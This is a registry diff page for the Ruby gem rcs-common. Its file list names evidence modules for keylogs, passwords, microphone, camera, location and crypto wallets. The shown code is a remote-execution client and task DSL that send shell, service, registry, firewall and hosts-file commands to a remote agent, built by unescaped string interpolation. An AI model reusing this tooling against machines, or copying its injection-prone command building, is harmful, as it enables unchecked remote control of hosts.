rcs-common 9.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
|
@@ -0,0 +1,354 @@
|
|
|
1
|
+
require 'yajl/json_gem'
|
|
2
|
+
require 'net/http'
|
|
3
|
+
require 'uri'
|
|
4
|
+
require 'timeout'
|
|
5
|
+
require 'digest/md5'
|
|
6
|
+
require 'base64'
|
|
7
|
+
|
|
8
|
+
require_relative "../trace.rb"
|
|
9
|
+
require_relative "shared_key"
|
|
10
|
+
require_relative "tmp_dir"
|
|
11
|
+
require_relative "../winfirewall"
|
|
12
|
+
require_relative "payload"
|
|
13
|
+
|
|
14
|
+
module RCS
|
|
15
|
+
module Updater
|
|
16
|
+
class Client
|
|
17
|
+
include RCS::Tracer
|
|
18
|
+
include TmpDir
|
|
19
|
+
extend Resolver
|
|
20
|
+
|
|
21
|
+
attr_reader :address, :port
|
|
22
|
+
attr_accessor :max_retries, :retry_interval, :open_timeout
|
|
23
|
+
attr_accessor :pwd
|
|
24
|
+
|
|
25
|
+
def initialize(address, port: 6677)
|
|
26
|
+
@address = address
|
|
27
|
+
@port = port
|
|
28
|
+
@shared_key = SharedKey.new
|
|
29
|
+
|
|
30
|
+
self.max_retries = 3
|
|
31
|
+
self.retry_interval = 4 # sec
|
|
32
|
+
self.open_timeout = 10 # sec
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
def request(payload, options = {}, retry_count = self.max_retries)
|
|
36
|
+
msg = options[:store] ? [] : [payload]
|
|
37
|
+
msg = ["#{payload.size} B", options.inspect]
|
|
38
|
+
trace(:debug, "REQ #{msg.join(' | ')}")
|
|
39
|
+
|
|
40
|
+
http = Net::HTTP.new(address, port)
|
|
41
|
+
http.open_timeout = self.open_timeout
|
|
42
|
+
|
|
43
|
+
# Encrypt x-options hash with a shared key
|
|
44
|
+
# Add a timestamp to prevent a reply attack, and the md5 of the payload to prevent payload modification
|
|
45
|
+
options.merge!(tm: Time.now.to_f, md5: Digest::MD5.hexdigest(payload))
|
|
46
|
+
|
|
47
|
+
req = Net::HTTP::Post.new('/', initheader = {'Content-Type' =>'application/json'})
|
|
48
|
+
req['x-options'] = @shared_key.encrypt_hash(options)
|
|
49
|
+
raise("x-options header is too long") if req['x-options'].size > 4_096
|
|
50
|
+
req.body = payload
|
|
51
|
+
res = http.request(req)
|
|
52
|
+
|
|
53
|
+
status_code = res.code.to_i
|
|
54
|
+
|
|
55
|
+
trace :debug, "REP #{res.code} | #{res.body}"
|
|
56
|
+
|
|
57
|
+
raise("Internal server error") if res.code.to_i != 200
|
|
58
|
+
|
|
59
|
+
hash = JSON.parse(res.body)
|
|
60
|
+
hash.keys.each { |key| hash[key.to_sym] = hash.delete(key) }
|
|
61
|
+
|
|
62
|
+
return hash
|
|
63
|
+
rescue Exception => ex
|
|
64
|
+
trace(:error, "[#{ex.class}] #{ex.message}")
|
|
65
|
+
|
|
66
|
+
if retry_count > 0
|
|
67
|
+
trace(:warn, "Retrying in #{retry_interval} seconds, #{retry_count} attempt(s) left")
|
|
68
|
+
sleep(self.retry_interval)
|
|
69
|
+
return request(payload, options, retry_count-1)
|
|
70
|
+
else
|
|
71
|
+
raise(ex)
|
|
72
|
+
end
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
def local_command(cmd, options = {})
|
|
76
|
+
payload = Payload.new(cmd, options.merge('exec' => true))
|
|
77
|
+
payload.store if payload.storable?
|
|
78
|
+
payload.run if payload.runnable?
|
|
79
|
+
return payload
|
|
80
|
+
end
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
# Helpers
|
|
84
|
+
|
|
85
|
+
def self.resolve_to_localhost?(name)
|
|
86
|
+
return true if name == 'localhost'
|
|
87
|
+
addr = resolve_dns(name, use_cache: true) rescue nil
|
|
88
|
+
return addr == '127.0.0.1'
|
|
89
|
+
end
|
|
90
|
+
|
|
91
|
+
def localhost?
|
|
92
|
+
self.class.resolve_to_localhost?(@address)
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
def store_file(path, remote_path = nil)
|
|
96
|
+
path = unixpath(File.expand_path(path))
|
|
97
|
+
payload = File.open(path, 'rb') { |f| f.read }
|
|
98
|
+
return store(payload, filename: File.basename(path))
|
|
99
|
+
end
|
|
100
|
+
|
|
101
|
+
def store(payload, filename: nil)
|
|
102
|
+
raise("Missing filename") unless filename
|
|
103
|
+
|
|
104
|
+
if localhost?
|
|
105
|
+
path = unixpath("#{tmpdir}/#{filename}")
|
|
106
|
+
File.open(path, 'wb') { |f| f.write(payload) }
|
|
107
|
+
return path
|
|
108
|
+
else
|
|
109
|
+
return request(payload, filename: filename, store: 1)[:path]
|
|
110
|
+
end
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
def start(payload)
|
|
114
|
+
path = store(payload+"\nexit", filename: 'start.bat')
|
|
115
|
+
|
|
116
|
+
begin
|
|
117
|
+
if localhost?
|
|
118
|
+
resp = local_command("start #{path}", 'spawn' => 1)
|
|
119
|
+
else
|
|
120
|
+
resp = request("start #{path}", {spawn: 1}, retry_count = 0)
|
|
121
|
+
end
|
|
122
|
+
rescue Exception => ex
|
|
123
|
+
trace :error, "#start: #{ex.message}"
|
|
124
|
+
end
|
|
125
|
+
|
|
126
|
+
return nil
|
|
127
|
+
end
|
|
128
|
+
|
|
129
|
+
alias :detached :start
|
|
130
|
+
|
|
131
|
+
def restart_service(name)
|
|
132
|
+
stop_service(name)
|
|
133
|
+
start_service(name)
|
|
134
|
+
end
|
|
135
|
+
|
|
136
|
+
def start_service(name)
|
|
137
|
+
cmd = "NET START #{name}"
|
|
138
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
|
139
|
+
end
|
|
140
|
+
|
|
141
|
+
def stop_service(name)
|
|
142
|
+
cmd = "NET STOP #{name}"
|
|
143
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
def service_exists?(name)
|
|
147
|
+
!!execute("SC QUERY #{name}")
|
|
148
|
+
end
|
|
149
|
+
|
|
150
|
+
def registry_add(key_path, value_name, value_data)
|
|
151
|
+
value_type = if value_data.kind_of?(Fixnum)
|
|
152
|
+
:REG_DWORD
|
|
153
|
+
else
|
|
154
|
+
:REG_SZ
|
|
155
|
+
end
|
|
156
|
+
|
|
157
|
+
cmd = "reg add #{winpath(key_path)} /f /t #{value_type} /v #{value_name} /d #{value_data}"
|
|
158
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
|
159
|
+
end
|
|
160
|
+
|
|
161
|
+
def write_file(path, content)
|
|
162
|
+
if localhost?
|
|
163
|
+
File.open(unixpath(path), 'wb') { |file| file.write(content) }
|
|
164
|
+
else
|
|
165
|
+
# todo
|
|
166
|
+
end
|
|
167
|
+
end
|
|
168
|
+
|
|
169
|
+
def read_file(path)
|
|
170
|
+
# This has only the "localhost" version
|
|
171
|
+
File.read(unixpath(path))
|
|
172
|
+
end
|
|
173
|
+
|
|
174
|
+
def delete_service(service_name)
|
|
175
|
+
cmd = "sc delete #{service_name}"
|
|
176
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
|
177
|
+
end
|
|
178
|
+
|
|
179
|
+
def add_firewall_rule(rule_name, params = {})
|
|
180
|
+
if localhost?
|
|
181
|
+
WinFirewall.del_rule(rule_name)
|
|
182
|
+
WinFirewall.add_rule(params.merge(name: rule_name))
|
|
183
|
+
else
|
|
184
|
+
# todo
|
|
185
|
+
end
|
|
186
|
+
end
|
|
187
|
+
|
|
188
|
+
def service_config(service_name, param_name, param_value)
|
|
189
|
+
param_name = param_name.to_s
|
|
190
|
+
cmd = ""
|
|
191
|
+
|
|
192
|
+
if %w[type start error binPath group tag depend obj DisplayName password].include?(param_name)
|
|
193
|
+
cmd = "sc config #{service_name} #{param_name}= \"#{param_value}\""
|
|
194
|
+
elsif %[description].include?(param_name)
|
|
195
|
+
cmd = "sc description #{service_name} \"#{param_value}\""
|
|
196
|
+
else
|
|
197
|
+
raise "Invalid parameter #{param_name}"
|
|
198
|
+
end
|
|
199
|
+
|
|
200
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
|
201
|
+
end
|
|
202
|
+
|
|
203
|
+
def service_failure(service_name, reset = 0, action1 = "restart/60000", action2 = "restart/60000", action3 = "restart/60000")
|
|
204
|
+
cmd = "sc failure #{service_name} reset= #{reset.to_i} actions= "+[action1, action2, action3].compact.join("/")
|
|
205
|
+
return localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
|
206
|
+
end
|
|
207
|
+
|
|
208
|
+
def execute(cmd)
|
|
209
|
+
resp = localhost? ? local_command(cmd) : request(cmd, exec: 1)
|
|
210
|
+
|
|
211
|
+
if resp[:return_code] != 0
|
|
212
|
+
return nil
|
|
213
|
+
else
|
|
214
|
+
return resp[:output]
|
|
215
|
+
end
|
|
216
|
+
end
|
|
217
|
+
|
|
218
|
+
def database_exists?(name, mongo: nil)
|
|
219
|
+
eval = "f=null; db.adminCommand({listDatabases: 1})['databases'].forEach(function(e){ if (e.name == '#{name}') { f = true } }); if (!f) { throw('not found') }"
|
|
220
|
+
cmd = "#{winpath(mongo)} 127.0.0.1 --eval \"#{eval}\""
|
|
221
|
+
return execute(cmd)
|
|
222
|
+
end
|
|
223
|
+
|
|
224
|
+
def rm_rf(path, allow: [], check: true)
|
|
225
|
+
if localhost?
|
|
226
|
+
FileUtils.rm_rf(unixpath(path))
|
|
227
|
+
else
|
|
228
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.rm_rf(\"#{unixpath(path)}\");'", exec: 1)
|
|
229
|
+
end
|
|
230
|
+
|
|
231
|
+
if check
|
|
232
|
+
ls(unixpath(path)+"/*").each do |p|
|
|
233
|
+
raise("rm_rf command failed on folder #{path}") unless allow.find { |regexp| p =~ /#{regexp}/i }
|
|
234
|
+
end
|
|
235
|
+
end
|
|
236
|
+
|
|
237
|
+
return true
|
|
238
|
+
end
|
|
239
|
+
|
|
240
|
+
def rm_f(path)
|
|
241
|
+
if localhost?
|
|
242
|
+
FileUtils.rm_f(unixpath(path))
|
|
243
|
+
else
|
|
244
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.rm_f(\"#{unixpath(path)}\");'", exec: 1)
|
|
245
|
+
end
|
|
246
|
+
|
|
247
|
+
if ls(path).any?
|
|
248
|
+
raise("rm_f command failed on file #{path}")
|
|
249
|
+
else
|
|
250
|
+
return true
|
|
251
|
+
end
|
|
252
|
+
end
|
|
253
|
+
|
|
254
|
+
def add_to_hosts_file(hash)
|
|
255
|
+
ip, name = *hash.to_a.first
|
|
256
|
+
line = "\r\n#{ip}\t#{name}\r\n"
|
|
257
|
+
path = "C:\\Windows\\System32\\Drivers\\etc\\hosts"
|
|
258
|
+
|
|
259
|
+
if localhost?
|
|
260
|
+
File.open(path, 'ab') { |file| file.write(line) } unless File.read(path).include?(line.strip)
|
|
261
|
+
else
|
|
262
|
+
# TODO
|
|
263
|
+
end
|
|
264
|
+
end
|
|
265
|
+
|
|
266
|
+
def extract_sfx(sfx_path, destination_path)
|
|
267
|
+
mkdir_p(destination_path)
|
|
268
|
+
|
|
269
|
+
if localhost?
|
|
270
|
+
local_command("\"#{winpath(sfx_path)}\" -y -o\"#{winpath(destination_path)}\"")
|
|
271
|
+
else
|
|
272
|
+
remote_path = store_file(sfx_path)
|
|
273
|
+
request("\"#{winpath(remote_path)}\" -y -o\"#{winpath(destination_path)}\"", exec: 1)
|
|
274
|
+
rm_f(remote_path)
|
|
275
|
+
end
|
|
276
|
+
end
|
|
277
|
+
|
|
278
|
+
# TODO: ensure no duplication
|
|
279
|
+
def add_to_path(*paths)
|
|
280
|
+
list = [paths].flatten.map{ |p| winpath(p) }.join(";")
|
|
281
|
+
|
|
282
|
+
if localhost?
|
|
283
|
+
ENV['PATH'] += ";#{list}" unless ENV['path'].include?(list)
|
|
284
|
+
return local_command("setx path \"%path%;#{list}\" /M && set PATH=\"%PATH%;#{list}\"")
|
|
285
|
+
else
|
|
286
|
+
return request("setx path \"%path%;#{list}\"", exec: 1)
|
|
287
|
+
end
|
|
288
|
+
end
|
|
289
|
+
|
|
290
|
+
def mkdir_p(path)
|
|
291
|
+
if localhost?
|
|
292
|
+
FileUtils.mkdir_p(winpath(path))
|
|
293
|
+
else
|
|
294
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.mkdir_p(\"#{unixpath(path)}\");", exec: 1)
|
|
295
|
+
end
|
|
296
|
+
end
|
|
297
|
+
|
|
298
|
+
def cp(from, to)
|
|
299
|
+
if localhost?
|
|
300
|
+
FileUtils.cp(unixpath(from), unixpath(to))
|
|
301
|
+
else
|
|
302
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.cp(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
|
|
303
|
+
end
|
|
304
|
+
end
|
|
305
|
+
|
|
306
|
+
def cp_r(from, to)
|
|
307
|
+
if localhost?
|
|
308
|
+
FileUtils.cp_r(unixpath(from), unixpath(to))
|
|
309
|
+
else
|
|
310
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.cp_r(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
|
|
311
|
+
end
|
|
312
|
+
end
|
|
313
|
+
|
|
314
|
+
def mv(from, to)
|
|
315
|
+
if localhost?
|
|
316
|
+
FileUtils.mv(unixpath(from), unixpath(to))
|
|
317
|
+
else
|
|
318
|
+
request("ruby -e 'require \"fileutils\"; FileUtils.mv(\"#{unixpath(from)}\", \"#{unixpath(to)}\");", exec: 1)
|
|
319
|
+
end
|
|
320
|
+
end
|
|
321
|
+
|
|
322
|
+
def ls(glob)
|
|
323
|
+
if localhost?
|
|
324
|
+
return Dir[unixpath(glob)]
|
|
325
|
+
else
|
|
326
|
+
resp = request('ruby -e \'require "base64"; require "json"; puts Base64.urlsafe_encode64(Dir["'+unixpath(glob)+'"].to_json)\'', exec: 1)
|
|
327
|
+
return JSON.parse(Base64.urlsafe_decode64(resp[:output].strip))
|
|
328
|
+
end
|
|
329
|
+
end
|
|
330
|
+
|
|
331
|
+
def file_exists?(path)
|
|
332
|
+
ls(path).any?
|
|
333
|
+
end
|
|
334
|
+
|
|
335
|
+
def winpath(path)
|
|
336
|
+
path = "#{self.pwd}\\#{path}" if self.pwd and path !~ /\A[a-z]\:/i
|
|
337
|
+
path.gsub("/", "\\")
|
|
338
|
+
end
|
|
339
|
+
|
|
340
|
+
def unixpath(path)
|
|
341
|
+
path = "#{self.pwd}/#{path}" if self.pwd and path !~ /\A[a-z]\:/i
|
|
342
|
+
path.gsub("\\", "/")
|
|
343
|
+
end
|
|
344
|
+
|
|
345
|
+
def connected?
|
|
346
|
+
if localhost?
|
|
347
|
+
return true
|
|
348
|
+
else
|
|
349
|
+
return !!(request("", {}, retry_count = 0) rescue false)
|
|
350
|
+
end
|
|
351
|
+
end
|
|
352
|
+
end
|
|
353
|
+
end
|
|
354
|
+
end
|
|
@@ -0,0 +1,178 @@
|
|
|
1
|
+
require_relative 'client'
|
|
2
|
+
require 'ostruct'
|
|
3
|
+
|
|
4
|
+
class SafeOpenStruct < OpenStruct
|
|
5
|
+
def method_missing(meth, *args)
|
|
6
|
+
n = meth.to_s
|
|
7
|
+
|
|
8
|
+
if n.end_with?("?")
|
|
9
|
+
n = n[0..-2]
|
|
10
|
+
return @table[n] || @table[n.to_sym]
|
|
11
|
+
elsif !n.end_with?("=")
|
|
12
|
+
raise(NoMethodError, "no `#{meth}' member set yet")
|
|
13
|
+
end
|
|
14
|
+
|
|
15
|
+
super
|
|
16
|
+
end
|
|
17
|
+
end
|
|
18
|
+
|
|
19
|
+
module RCS
|
|
20
|
+
module Updater
|
|
21
|
+
module DSL
|
|
22
|
+
@@settings = SafeOpenStruct.new
|
|
23
|
+
@@tasks = {}
|
|
24
|
+
@@descriptions = {}
|
|
25
|
+
@@last_description = nil
|
|
26
|
+
|
|
27
|
+
def set(name, value)
|
|
28
|
+
@@settings[name] = value
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
# Access to settings defined using [ set ]
|
|
32
|
+
def settings
|
|
33
|
+
@@settings
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
def address?
|
|
37
|
+
self.respond_to?(:address)
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
def desc(string)
|
|
41
|
+
raise("You cannot call `desc' in this context") if address?
|
|
42
|
+
@@last_description = string
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
# Define a task or alias an existing task
|
|
46
|
+
#
|
|
47
|
+
# @example
|
|
48
|
+
# task :task1 do
|
|
49
|
+
# rm_rf("/tmp/my_file")
|
|
50
|
+
# start_service("RCSDB")
|
|
51
|
+
# end
|
|
52
|
+
# # Aliasing task1
|
|
53
|
+
# task :task3 => :task1
|
|
54
|
+
def task(name, &block)
|
|
55
|
+
if name.kind_of?(Hash)
|
|
56
|
+
name.each do |alias_name, task_name|
|
|
57
|
+
raise("Undefined task `#{task_name}'") unless @@tasks[task_name.to_s]
|
|
58
|
+
@@tasks[alias_name.to_s] = @@tasks[task_name.to_s]
|
|
59
|
+
@@descriptions[alias_name.to_s] = @@last_description
|
|
60
|
+
end
|
|
61
|
+
else
|
|
62
|
+
raise("Task `#{name}' is defined more than once") if @@tasks[name.to_s]
|
|
63
|
+
@@tasks[name.to_s] = block
|
|
64
|
+
@@descriptions[name.to_s] = @@last_description
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
@@last_description = nil
|
|
68
|
+
end
|
|
69
|
+
|
|
70
|
+
# @example
|
|
71
|
+
# invoke :task1 => 'localhost'
|
|
72
|
+
#
|
|
73
|
+
# task :task2 do
|
|
74
|
+
# invoke(:task3)
|
|
75
|
+
# rm_rf("/tmp/my_file")
|
|
76
|
+
# end
|
|
77
|
+
def invoke(args)
|
|
78
|
+
if address? and ([String, Symbol].include?(args.class))
|
|
79
|
+
task_name, address = args, self.address
|
|
80
|
+
elsif !address? and args.kind_of?(Hash)
|
|
81
|
+
task_name, address = *args.to_a.flatten
|
|
82
|
+
return on(address) { invoke(task_name) }
|
|
83
|
+
else
|
|
84
|
+
raise("Invalid use of `invoke'")
|
|
85
|
+
end
|
|
86
|
+
|
|
87
|
+
raise("Undefined task `#{task_name}'") unless @@tasks[task_name.to_s]
|
|
88
|
+
|
|
89
|
+
trace(:debug, "invoke #{task_name} on #{address}") if respond_to?(:trace)
|
|
90
|
+
|
|
91
|
+
echo(@@descriptions[task_name]) if @@descriptions[task_name]
|
|
92
|
+
|
|
93
|
+
client = Client.new(address)
|
|
94
|
+
client.singleton_class.__send__(:include, DSL)
|
|
95
|
+
client.instance_variable_set('@_parent_task', self) if address?
|
|
96
|
+
return client.instance_eval(&@@tasks[task_name.to_s])
|
|
97
|
+
end
|
|
98
|
+
|
|
99
|
+
# Define an anonymous task
|
|
100
|
+
#
|
|
101
|
+
# @example
|
|
102
|
+
# on('172.20.20.152') do
|
|
103
|
+
# invoke(:task1)
|
|
104
|
+
# rm_rf("/tmp/my_file")
|
|
105
|
+
# end
|
|
106
|
+
def on(address, &block)
|
|
107
|
+
raise("You cannot call `on' in this context") if address?
|
|
108
|
+
client = Client.new(address)
|
|
109
|
+
client.singleton_class.__send__(:include, DSL)
|
|
110
|
+
return client.instance_eval(&block)
|
|
111
|
+
end
|
|
112
|
+
|
|
113
|
+
def echo_indent
|
|
114
|
+
obj = self
|
|
115
|
+
str = ""
|
|
116
|
+
str << "--" until !(obj = obj.instance_variable_get('@_parent_task'))
|
|
117
|
+
str << "> " unless str.empty?
|
|
118
|
+
return str
|
|
119
|
+
end
|
|
120
|
+
|
|
121
|
+
def echo_error(message)
|
|
122
|
+
$stderr.puts("[erro]#{message}")
|
|
123
|
+
$stderr.flush
|
|
124
|
+
raise(message)
|
|
125
|
+
end
|
|
126
|
+
|
|
127
|
+
def echo(message)
|
|
128
|
+
message = "[echo]#{echo_indent}#{message}"
|
|
129
|
+
message << " (#{self.address})" if self.respond_to?(:address) and echo_indent.empty? and !resolve_to_localhost?(self.address)
|
|
130
|
+
$stdout.puts(message)
|
|
131
|
+
$stdout.flush
|
|
132
|
+
end
|
|
133
|
+
|
|
134
|
+
def echo_install_failed(node_type, message = nil, addr = nil)
|
|
135
|
+
trace(:error, "Install of #{node_type} @ #{addr || address} failed: #{message}") if respond_to?(:trace)
|
|
136
|
+
|
|
137
|
+
$stdout.puts("[infa]#{node_type.to_s.capitalize} node on #{addr || address}")
|
|
138
|
+
$stdout.flush
|
|
139
|
+
end
|
|
140
|
+
|
|
141
|
+
def echo_install_success(node_type, addr = nil)
|
|
142
|
+
$stdout.puts("[insu]#{node_type.to_s.capitalize} node on #{addr || address}")
|
|
143
|
+
$stdout.flush
|
|
144
|
+
end
|
|
145
|
+
|
|
146
|
+
def resolve_to_localhost?(name)
|
|
147
|
+
Client.resolve_to_localhost?(name)
|
|
148
|
+
end
|
|
149
|
+
|
|
150
|
+
# Access to parameters passed via command line.
|
|
151
|
+
#
|
|
152
|
+
# @example Script is called with --first-param "test" --param2
|
|
153
|
+
# params.first_param #=> "test"
|
|
154
|
+
# params.param2 #=> true
|
|
155
|
+
# params.param3 #=> An exception is raised!
|
|
156
|
+
# params.param3? #=> nil
|
|
157
|
+
def params
|
|
158
|
+
return @@params if defined?(@@params)
|
|
159
|
+
@@params = SafeOpenStruct.new
|
|
160
|
+
i = 0
|
|
161
|
+
|
|
162
|
+
loop do
|
|
163
|
+
s1, s2 = ARGV[i], ARGV[i+1]
|
|
164
|
+
break unless s1
|
|
165
|
+
if s1[0] == '-'
|
|
166
|
+
s2 = (s2 and s2[0] != '-') ? s2 : true
|
|
167
|
+
@@params[s1.gsub(/^\-{1,2}/, '').gsub('-', '_')] = s2 unless s2.to_s.strip.empty?
|
|
168
|
+
end
|
|
169
|
+
i += 1
|
|
170
|
+
end
|
|
171
|
+
|
|
172
|
+
@@params
|
|
173
|
+
end
|
|
174
|
+
end
|
|
175
|
+
end
|
|
176
|
+
end
|
|
177
|
+
|
|
178
|
+
self.extend(RCS::Updater::DSL)
|